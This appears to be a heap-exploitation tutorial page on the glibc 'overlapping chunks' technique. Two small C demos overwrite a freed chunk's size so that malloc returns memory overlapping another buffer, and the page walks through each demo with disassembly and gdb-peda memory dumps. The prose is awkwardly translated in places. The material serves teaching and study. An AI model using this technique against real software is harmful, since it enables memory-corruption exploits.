Excuse the ads! We need some help to keep our site up.
List
Overlapping chunks
- The allocator checks for chunks in the Unsorted bin when allocating memory.
- If a chunk is placed in the Unsorted list, and that chunk is large enough to allocate the requested size, reallocate the chunk.
- If the requested memory size is smaller than the chunk size, the chunk allocates memory as large as the requested size and the remaining memory space is returned to the arena.
- If you split memory and the remaining size is very small, you reallocate the chunks without partitioning the memory.
- "Overlapping chunks" changes the size of the free chunks so that they are allocated larger memory than their original size.
- This allocated chunk overlaps with the existing chunk's space.
- The value stored in the "size" of the free chunk must be "mchunkptr" or the top chunk of the next free chunk.
- For example, allocate three chunks and free the middle chunk.
- The value stored in the "size" of the free chunk is 0x111, which is changed to 0x1a1.
- The allocator recognizes that the free chunk is 0x1a1.
- And the location of the next chunk is 0x6022B0.
- A memory allocation of size 0x198 is requested and the area of the returned memory and the third memory overlap.
- The following allocates five memories and frees the fourth one.
- Overwrite the "size" of the second chunk with 0x101 and free the chunk.
- The second chunk will be 0x100 in size, and the next chunk will start at 0x602180.
- This saves the size of the second chunk to the "prev_size" of the fourth chunk and removes the PREV_INUSE flag (0x1) from the value held by the "size" of the fourth chunk.
- And if you ask malloc for a memory allocation that is 224 (0xE0) bytes in size, it will return 0x602090, and that chunk will be 0x100 in size.
- That is the newly allocated memory and the third memory area overlap.
- Overwrite the "size" of the second chunk with 0x101 and free the chunk.
Example
Example1
This code is from the "Overlapping chunks flow (Top chunk)" example described earlier.
The code requests malloc for allocation of two 0x100 memory and 0x80 memory.
Use memset() to fill the letter 'B' into the memory pointed to by buf2, and the letter 'C' into the memory pointed to by buf3.
Then free the allocated second memory (buf2).
Overwrite the new chunk size (417) to *(buf2 - 1).
- It then requests malloc for an allocation of 408 bytes of memory.
- It fills the newly allocated memory with the letter 'A' and prints the data of the memory pointed to by buf3 to the screen.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> void main(){ unsigned long *buf1 = malloc(0x100); unsigned long *buf2 = malloc(0x100); unsigned long *buf3 = malloc(0x80); memset(buf2, 'B', 0x100); memset(buf3, 'C', 0x80); free(buf2); *(buf2 - 1) = 417; char *buf4 = malloc(408); memset(buf4,'A',408); fprintf(stderr,"buf3 : %s\n", (char *)buf3); }
- Check the address of the allocated memory at 0x400658, 0x400666, 0x400674.
- Check the data filled in each memory at 0x40068e and 0x4006a4.
- Check the value of "size" of the second chunk freed at 0x4006b0 and 0x4006b8.
- Check the newly allocated memory at 0x4006c and check the filled data at 0x4006e3.
lazenca0x0@ubuntu:~/Book$ gcc -o overlapping_chunks overlapping_chunks.c lazenca0x0@ubuntu:~/Book$ gdb -q ./overlapping_chunks Reading symbols from ./overlapping_chunks...(no debugging symbols found)...done. gdb-peda$ disassemble main Dump of assembler code for function main: 0x0000000000400646 <+0>: push rbp 0x0000000000400647 <+1>: mov rbp,rsp 0x000000000040064a <+4>: sub rsp,0x20 0x000000000040064e <+8>: mov edi,0x100 0x0000000000400653 <+13>: call 0x400530 <malloc@plt> 0x0000000000400658 <+18>: mov QWORD PTR [rbp-0x20],rax 0x000000000040065c <+22>: mov edi,0x100 0x0000000000400661 <+27>: call 0x400530 <malloc@plt> 0x0000000000400666 <+32>: mov QWORD PTR [rbp-0x18],rax 0x000000000040066a <+36>: mov edi,0x80 0x000000000040066f <+41>: call 0x400530 <malloc@plt> 0x0000000000400674 <+46>: mov QWORD PTR [rbp-0x10],rax 0x0000000000400678 <+50>: mov rax,QWORD PTR [rbp-0x18] 0x000000000040067c <+54>: mov edx,0x100 0x0000000000400681 <+59>: mov esi,0x42 0x0000000000400686 <+64>: mov rdi,rax 0x0000000000400689 <+67>: call 0x400500 <memset@plt> 0x000000000040068e <+72>: mov rax,QWORD PTR [rbp-0x10] 0x0000000000400692 <+76>: mov edx,0x80 0x0000000000400697 <+81>: mov esi,0x43 0x000000000040069c <+86>: mov rdi,rax 0x000000000040069f <+89>: call 0x400500 <memset@plt> 0x00000000004006a4 <+94>: mov rax,QWORD PTR [rbp-0x18] 0x00000000004006a8 <+98>: mov rdi,rax 0x00000000004006ab <+101>: call 0x4004f0 <free@plt> 0x00000000004006b0 <+106>: mov rax,QWORD PTR [rbp-0x18] 0x00000000004006b4 <+110>: sub rax,0x8 0x00000000004006b8 <+114>: mov QWORD PTR [rax],0x1a1 0x00000000004006bf <+121>: mov edi,0x198 0x00000000004006c4 <+126>: call 0x400530 <malloc@plt> 0x00000000004006c9 <+131>: mov QWORD PTR [rbp-0x8],rax 0x00000000004006cd <+135>: mov rax,QWORD PTR [rbp-0x8] 0x00000000004006d1 <+139>: mov edx,0x198 0x00000000004006d6 <+144>: mov esi,0x41 0x00000000004006db <+149>: mov rdi,rax 0x00000000004006de <+152>: call 0x400500 <memset@plt> 0x00000000004006e3 <+157>: mov rax,QWORD PTR [rip+0x200976] # 0x601060 <stderr@@GLIBC_2.2.5> 0x00000000004006ea <+164>: mov rdx,QWORD PTR [rbp-0x10] 0x00000000004006ee <+168>: mov esi,0x400794 0x00000000004006f3 <+173>: mov rdi,rax 0x00000000004006f6 <+176>: mov eax,0x0 0x00000000004006fb <+181>: call 0x400520 <fprintf@plt> 0x0000000000400700 <+186>: nop 0x0000000000400701 <+187>: leave 0x0000000000400702 <+188>: ret End of assembler dump. gdb-peda$ b *0x0000000000400658 Breakpoint 1 at 0x400658 gdb-peda$ b *0x0000000000400666 Breakpoint 2 at 0x400666 gdb-peda$ b *0x0000000000400674 Breakpoint 3 at 0x400674 gdb-peda$ b *0x000000000040068e Breakpoint 4 at 0x40068e gdb-peda$ b *0x00000000004006a4 Breakpoint 5 at 0x4006a4 gdb-peda$ b *0x00000000004006b0 Breakpoint 6 at 0x4006b0 gdb-peda$ b *0x00000000004006b8 Breakpoint 7 at 0x4006b8 gdb-peda$ b *0x00000000004006c9 Breakpoint 8 at 0x4006c9 gdb-peda$ b *0x00000000004006e3 Breakpoint 9 at 0x4006e3 gdb-peda$
- The address of allocated memory from malloc() is 0x602010(buf1), 0x602120(buf2) and 0x602230(buf3).
gdb-peda$ r Starting program: /home/lazenca0x0/Book/overlapping_chunks Breakpoint 1, 0x0000000000400658 in main () gdb-peda$ i r rax rax 0x602010 0x602010 gdb-peda$ c Continuing. Breakpoint 2, 0x0000000000400666 in main () gdb-peda$ i r rax rax 0x602120 0x602120 gdb-peda$ c Continuing. Breakpoint 3, 0x0000000000400674 in main () gdb-peda$ i r rax rax 0x602230 0x602230 gdb-peda$
- buf2 is filled with the letter 'B', and buf3 is filled with the letter 'C'.
gdb-peda$ c Continuing. Breakpoint 4, 0x000000000040068e in main () gdb-peda$ x/40gx 0x602120 0x602120: 0x4242424242424242 0x4242424242424242 0x602130: 0x4242424242424242 0x4242424242424242 0x602140: 0x4242424242424242 0x4242424242424242 0x602150: 0x4242424242424242 0x4242424242424242 0x602160: 0x4242424242424242 0x4242424242424242 0x602170: 0x4242424242424242 0x4242424242424242 0x602180: 0x4242424242424242 0x4242424242424242 0x602190: 0x4242424242424242 0x4242424242424242 0x6021a0: 0x4242424242424242 0x4242424242424242 0x6021b0: 0x4242424242424242 0x4242424242424242 0x6021c0: 0x4242424242424242 0x4242424242424242 0x6021d0: 0x4242424242424242 0x4242424242424242 0x6021e0: 0x4242424242424242 0x4242424242424242 0x6021f0: 0x4242424242424242 0x4242424242424242 0x602200: 0x4242424242424242 0x4242424242424242 0x602210: 0x4242424242424242 0x4242424242424242 0x602220: 0x0000000000000000 0x0000000000000091 0x602230: 0x0000000000000000 0x0000000000000000 0x602240: 0x0000000000000000 0x0000000000000000 0x602250: 0x0000000000000000 0x0000000000000000 gdb-peda$ c Continuing. Breakpoint 5, 0x00000000004006a4 in main () gdb-peda$ x/20gx 0x602230 0x602230: 0x4343434343434343 0x4343434343434343 0x602240: 0x4343434343434343 0x4343434343434343 0x602250: 0x4343434343434343 0x4343434343434343 0x602260: 0x4343434343434343 0x4343434343434343 0x602270: 0x4343434343434343 0x4343434343434343 0x602280: 0x4343434343434343 0x4343434343434343 0x602290: 0x4343434343434343 0x4343434343434343 0x6022a0: 0x4343434343434343 0x4343434343434343 0x6022b0: 0x0000000000000000 0x0000000000020d51 0x6022c0: 0x0000000000000000 0x0000000000000000 gdb-peda$
- Free the second memory and change the chunk's size value to 0x1a1.
gdb-peda$ c Continuing. Breakpoint 6, 0x00000000004006b0 in main () gdb-peda$ p main_arena.bins[0] $1 = (mchunkptr) 0x602110 gdb-peda$ p main_arena.bins[1] $2 = (mchunkptr) 0x602110 gdb-peda$ c Continuing. Breakpoint 7, 0x00000000004006b8 in main () gdb-peda$ x/i $rip => 0x4006b8 <main+114>: mov QWORD PTR [rax],0x1a1 gdb-peda$ i r rax rax 0x602118 0x602118 gdb-peda$ x/gx 0x602118 0x602118: 0x0000000000000111 gdb-peda$ ni 0x00000000004006bf in main () gdb-peda$ x/gx 0x602118 0x602118: 0x00000000000001a1 gdb-peda$ p main_arena.bins[0].size $3 = 0x1a1 gdb-peda$
Request to malloc() for an allocation of 408 bytes of memory, the allocator reallocates the second memory that has changed in size earlier.
The size of the reallocated memory is 0x1a0 (0x1a1-0x1), and the range of memory is 0x602120 ~ 0x6022b0.
- The region of that memory overlaps the region of the memory pointed to by buf3.
gdb-peda$ c Continuing. Breakpoint 8, 0x00000000004006c9 in main () gdb-peda$ i r rax rax 0x602120 0x602120 gdb-peda$ x/2gx 0x602120 - 0x10 0x602110: 0x0000000000000000 0x00000000000001a1 gdb-peda$ p/x 0x602110 + 0x1a0 $4 = 0x6022b0 gdb-peda$
- When memset() fills the realm 'A' in the reallocated memory, it is also stored in the buf3 area.
gdb-peda$ c Continuing. Breakpoint 9, 0x00000000004006e3 in main () gdb-peda$ x/60gx 0x602120 0x602120: 0x4141414141414141 0x4141414141414141 0x602130: 0x4141414141414141 0x4141414141414141 0x602140: 0x4141414141414141 0x4141414141414141 0x602150: 0x4141414141414141 0x4141414141414141 0x602160: 0x4141414141414141 0x4141414141414141 0x602170: 0x4141414141414141 0x4141414141414141 0x602180: 0x4141414141414141 0x4141414141414141 0x602190: 0x4141414141414141 0x4141414141414141 0x6021a0: 0x4141414141414141 0x4141414141414141 0x6021b0: 0x4141414141414141 0x4141414141414141 0x6021c0: 0x4141414141414141 0x4141414141414141 0x6021d0: 0x4141414141414141 0x4141414141414141 0x6021e0: 0x4141414141414141 0x4141414141414141 0x6021f0: 0x4141414141414141 0x4141414141414141 0x602200: 0x4141414141414141 0x4141414141414141 0x602210: 0x4141414141414141 0x4141414141414141 0x602220: 0x4141414141414141 0x4141414141414141 0x602230: 0x4141414141414141 0x4141414141414141 0x602240: 0x4141414141414141 0x4141414141414141 0x602250: 0x4141414141414141 0x4141414141414141 0x602260: 0x4141414141414141 0x4141414141414141 0x602270: 0x4141414141414141 0x4141414141414141 0x602280: 0x4141414141414141 0x4141414141414141 0x602290: 0x4141414141414141 0x4141414141414141 0x6022a0: 0x4141414141414141 0x4141414141414141 0x6022b0: 0x0000000000000000 0x0000000000020d51 0x6022c0: 0x0000000000000000 0x0000000000000000 0x6022d0: 0x0000000000000000 0x0000000000000000 0x6022e0: 0x0000000000000000 0x0000000000000000 0x6022f0: 0x0000000000000000 0x0000000000000000 gdb-peda$ c Continuing. buf3 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Inferior 1 (process 2790) exited with code 0210] Warning: not running gdb-peda$
Example2
- The following code is an example of "Overlapping chunks flow (Free chunk)".
- Request malloc() for five memory allocations.
- After freeing the fourth memory, the size of the chunk is overwritten with 0x101.
- After freeing memory 2, request to malloc() to allocate new memory.
- After filling the letter 'C' into the memory, it outputs the data of the third memory.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <malloc.h> #include <unistd.h> int main(){ unsigned long *buf1 = malloc(112); unsigned long *buf2 = malloc(112); unsigned long *buf3 = malloc(112); unsigned long *buf4 = malloc(112); unsigned long *buf5 = malloc(112); free(buf4); *(buf2 -1) = 0x101; free(buf2); char *buf6 = malloc(224); memset(buf6,'C',224); fprintf(stderr,"buf3 : %s\n", (char *)buf3); }
- Check the address of the allocated memory at 0x400658, 0x400666, 0x400674, 0x400682, 0x400690.
- Check the freed of the 4th memory at 0x4006a0 and the change in the size value of the 2nd memory at 0x4006a8.
- Check the free of the 2nd memory at 0x4006bb and the address and size of the newly allocated memory at 0x4006c5.
- Check the data in the newly allocated memory at 0x4006df and check the data output of buf3.
lazenca0x0@ubuntu:~/Book$ gcc -o overlapping_chunks2 overlapping_chunks2.c lazenca0x0@ubuntu:~/Book$ gdb -q ./overlapping_chunks2 Reading symbols from ./overlapping_chunks2...(no debugging symbols found)...done. gdb-peda$ disassemble main Dump of assembler code for function main: 0x0000000000400646 <+0>: push rbp 0x0000000000400647 <+1>: mov rbp,rsp 0x000000000040064a <+4>: sub rsp,0x30 0x000000000040064e <+8>: mov edi,0x70 0x0000000000400653 <+13>: call 0x400530 <malloc@plt> 0x0000000000400658 <+18>: mov QWORD PTR [rbp-0x30],rax 0x000000000040065c <+22>: mov edi,0x70 0x0000000000400661 <+27>: call 0x400530 <malloc@plt> 0x0000000000400666 <+32>: mov QWORD PTR [rbp-0x28],rax 0x000000000040066a <+36>: mov edi,0x70 0x000000000040066f <+41>: call 0x400530 <malloc@plt> 0x0000000000400674 <+46>: mov QWORD PTR [rbp-0x20],rax 0x0000000000400678 <+50>: mov edi,0x70 0x000000000040067d <+55>: call 0x400530 <malloc@plt> 0x0000000000400682 <+60>: mov QWORD PTR [rbp-0x18],rax 0x0000000000400686 <+64>: mov edi,0x70 0x000000000040068b <+69>: call 0x400530 <malloc@plt> 0x0000000000400690 <+74>: mov QWORD PTR [rbp-0x10],rax 0x0000000000400694 <+78>: mov rax,QWORD PTR [rbp-0x18] 0x0000000000400698 <+82>: mov rdi,rax 0x000000000040069b <+85>: call 0x4004f0 <free@plt> 0x00000000004006a0 <+90>: mov rax,QWORD PTR [rbp-0x28] 0x00000000004006a4 <+94>: sub rax,0x8 0x00000000004006a8 <+98>: mov QWORD PTR [rax],0x101 0x00000000004006af <+105>: mov rax,QWORD PTR [rbp-0x28] 0x00000000004006b3 <+109>: mov rdi,rax 0x00000000004006b6 <+112>: call 0x4004f0 <free@plt> 0x00000000004006bb <+117>: mov edi,0xe0 0x00000000004006c0 <+122>: call 0x400530 <malloc@plt> 0x00000000004006c5 <+127>: mov QWORD PTR [rbp-0x8],rax 0x00000000004006c9 <+131>: mov rax,QWORD PTR [rbp-0x8] 0x00000000004006cd <+135>: mov edx,0xe0 0x00000000004006d2 <+140>: mov esi,0x43 0x00000000004006d7 <+145>: mov rdi,rax 0x00000000004006da <+148>: call 0x400500 <memset@plt> 0x00000000004006df <+153>: mov rax,QWORD PTR [rip+0x20097a] # 0x601060 <stderr@@GLIBC_2.2.5> 0x00000000004006e6 <+160>: mov rdx,QWORD PTR [rbp-0x20] 0x00000000004006ea <+164>: mov esi,0x400794 0x00000000004006ef <+169>: mov rdi,rax 0x00000000004006f2 <+172>: mov eax,0x0 0x00000000004006f7 <+177>: call 0x400520 <fprintf@plt> 0x00000000004006fc <+182>: mov eax,0x0 0x0000000000400701 <+187>: leave 0x0000000000400702 <+188>: ret End of assembler dump. gdb-peda$ b *0x0000000000400658 Breakpoint 1 at 0x400658 gdb-peda$ b *0x0000000000400666 Breakpoint 2 at 0x400666 gdb-peda$ b *0x0000000000400674 Breakpoint 3 at 0x400674 gdb-peda$ b *0x0000000000400682 Breakpoint 4 at 0x400682 gdb-peda$ b *0x0000000000400690 Breakpoint 5 at 0x400690 gdb-peda$ b *0x00000000004006a0 Breakpoint 6 at 0x4006a0 gdb-peda$ b *0x00000000004006a8 Breakpoint 7 at 0x4006a8 gdb-peda$ b *0x00000000004006bb Breakpoint 8 at 0x4006bb gdb-peda$ b *0x00000000004006c5 Breakpoint 9 at 0x4006c5 gdb-peda$ b *0x00000000004006df Breakpoint 10 at 0x4006df gdb-peda$
- The pointers allocated from malloc () are 0x602010, 0x602090, 0x602110, 0x602190, 0x602210.
gdb-peda$ r Starting program: /home/lazenca0x0/Book/overlapping_chunks2 Breakpoint 1, 0x0000000000400658 in main () gdb-peda$ i r rax rax 0x602010 0x602010 gdb-peda$ c Continuing. Breakpoint 2, 0x0000000000400666 in main () gdb-peda$ i r rax rax 0x602090 0x602090 gdb-peda$ c Continuing. Breakpoint 3, 0x0000000000400674 in main () gdb-peda$ i r rax rax 0x602110 0x602110 gdb-peda$ c Continuing. Breakpoint 4, 0x0000000000400682 in main () gdb-peda$ i r rax rax 0x602190 0x602190 gdb-peda$ c Continuing. Breakpoint 5, 0x0000000000400690 in main () gdb-peda$ i r rax rax 0x602210 0x602210 gdb-peda$
After the fourth memory was freed the chunk was placed fastbinsY[6].
Change the size value of the second memory to 0x101.
gdb-peda$ c Continuing. Breakpoint 6, 0x00000000004006a0 in main () gdb-peda$ p main_arena.fastbinsY[6] $3 = (mfastbinptr) 0x602180 gdb-peda$ c Continuing. Breakpoint 7, 0x00000000004006a8 in main () gdb-peda$ x/i $rip => 0x4006a8 <main+98>: mov QWORD PTR [rax],0x101 gdb-peda$ i r rax rax 0x602088 0x602088 gdb-peda$ x/gx 0x602088 0x602088: 0x0000000000000081 gdb-peda$ ni 0x00000000004006af in main () gdb-peda$ x/gx 0x602088 0x602088: 0x0000000000000101 gdb-peda$
- When the second memory is released, the chunk is registered in the Unsorted bin, and the chunk size is 0x100.
- If you ask malloc() for memory allocation of size 224 bytes, it reallocates the chunk.
gdb-peda$ c Continuing. Breakpoint 8, 0x00000000004006bb in main () gdb-peda$ p main_arena.bins[0] $4 = (mchunkptr) 0x602080 gdb-peda$ p main_arena.bins[1] $5 = (mchunkptr) 0x602080 gdb-peda$ p main_arena.bins[0].size $6 = 0x101 gdb-peda$ c Continuing. Breakpoint 9, 0x00000000004006c5 in main () gdb-peda$ i r rax rax 0x602090 0x602090 gdb-peda$ x/2gx 0x602090 - 0x10 0x602080: 0x0000000000000000 0x0000000000000101 gdb-peda$ p/x 0x602090 + 0x100 $7 = 0x602190 gdb-peda$
- If the letter 'C' is filled in the newly allocated area, also overwrote in the third memory area.
- You can see that the newly allocated memory overlaps with the area of the third memory.
gdb-peda$ c Continuing. Breakpoint 10, 0x00000000004006df in main () gdb-peda$ x/40gx 0x602090 0x602090: 0x4343434343434343 0x4343434343434343 0x6020a0: 0x4343434343434343 0x4343434343434343 0x6020b0: 0x4343434343434343 0x4343434343434343 0x6020c0: 0x4343434343434343 0x4343434343434343 0x6020d0: 0x4343434343434343 0x4343434343434343 0x6020e0: 0x4343434343434343 0x4343434343434343 0x6020f0: 0x4343434343434343 0x4343434343434343 0x602100: 0x4343434343434343 0x4343434343434343 0x602110: 0x4343434343434343 0x4343434343434343 0x602120: 0x4343434343434343 0x4343434343434343 0x602130: 0x4343434343434343 0x4343434343434343 0x602140: 0x4343434343434343 0x4343434343434343 0x602150: 0x4343434343434343 0x4343434343434343 0x602160: 0x4343434343434343 0x4343434343434343 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000100 0x0000000000000081 0x602190: 0x0000000000000000 0x0000000000000000 0x6021a0: 0x0000000000000000 0x0000000000000000 0x6021b0: 0x0000000000000000 0x0000000000000000 0x6021c0: 0x0000000000000000 0x0000000000000000 gdb-peda$ c Continuing. buf3 : CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC [Inferior 1 (process 3085) exited normally] Warning: not running gdb-peda$